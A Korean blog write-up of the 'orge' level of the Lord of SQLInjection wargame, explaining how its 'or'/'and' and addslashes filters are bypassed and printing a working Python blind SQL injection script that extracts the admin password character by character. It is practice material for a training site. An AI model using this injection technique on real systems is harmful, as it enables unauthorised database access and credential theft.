본문 바로가기

Web Hacking/Lord of SQLInjection

[Lord of SQLInjection] 7번 orge write up

 

위 사진은 문제 코드이다. 이전 문제와 같이 첫 번째 필터링까진 or, and까지 필터링이 같지만, 2번째 필터링에서 addslashes함수를 통해 싱글쿼터를 필터링하고 있다.

 

또한 이 문제는 쿼리문이 참이 되는것 만으로 해결 되지는 않으며 blind sql injection을 통해 admin의 pw을 구해 입력해야한다.

 

먼저 1번째 필터링이 통과되면 hello [uid]가 나오는 점을 이용해야한다. 첫 번째 필터링은 싱글쿼터가 살아있기 때문에 sqli이 가능하다.

or 필터링이 되고 있어 || 로 우회 후 새로운 조건 절을 만들었다. and를 이용헤 pw의 조건을 비교할 수 있다.

(and 연산을 대체할 수 있는 &&는 url에서 사용할 경우 url encoding이된 %26으로 사용해야 한다. 이유로는 &는 url에서 쿼리스트링의 파라미터를 구분하는 역할을하기 때문이다.)

 

파이썬으로 코드를 작성하자

 

먼저 아래는 길이를 구하는 코드이다.

 

 

쿠키 설정과 &&을 이용해서 and 연산자 필터링을 우회했으며 아스키코드 내에서 한 글자씩 비교를 진행했다. (비밀번호는 아스키 코드임을 가정하고 진행했다.)

 

 

 

다음은 비밀번호를 구하는 코드이다. 이전에 구한 pw_length 만큼 반복하며 substr을 통해 한 글자씩 비교해준다.

 

 

최종 exploit

 

import requests
import string

url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php/"
mycookie = dict({"PHPSESSID":"bfibuultegpem0r7d3tvhekp82"})

param = {
    "pw": ""
}

ch = string.digits + string.ascii_letters + string.punctuation

query = "a' || id='admin' && length(pw)={i}#"

pw_length = 0
pw = ""
for idx in range(1, 50):
    param["pw"] = query.format(i=idx)
    result = requests.get(url, params=param, cookies=mycookie)
    pw_length += 1    
    if "Hello admin" in result.text:
        print(f"admin's pw length: {pw_length}")
        break

query = "a' || id='admin' && substr(pw, {idx}, 1)='{cha}'#"

for i in range(1, pw_length+1):
    for c in ch:
        param["pw"] = query.format(idx=i, cha=c)
        result = requests.get(url, params=param, cookies=mycookie)
        if "Hello admin" in result.text:
            pw += c
            print(f"admin's pw is {pw}")
            break

 

 

클리어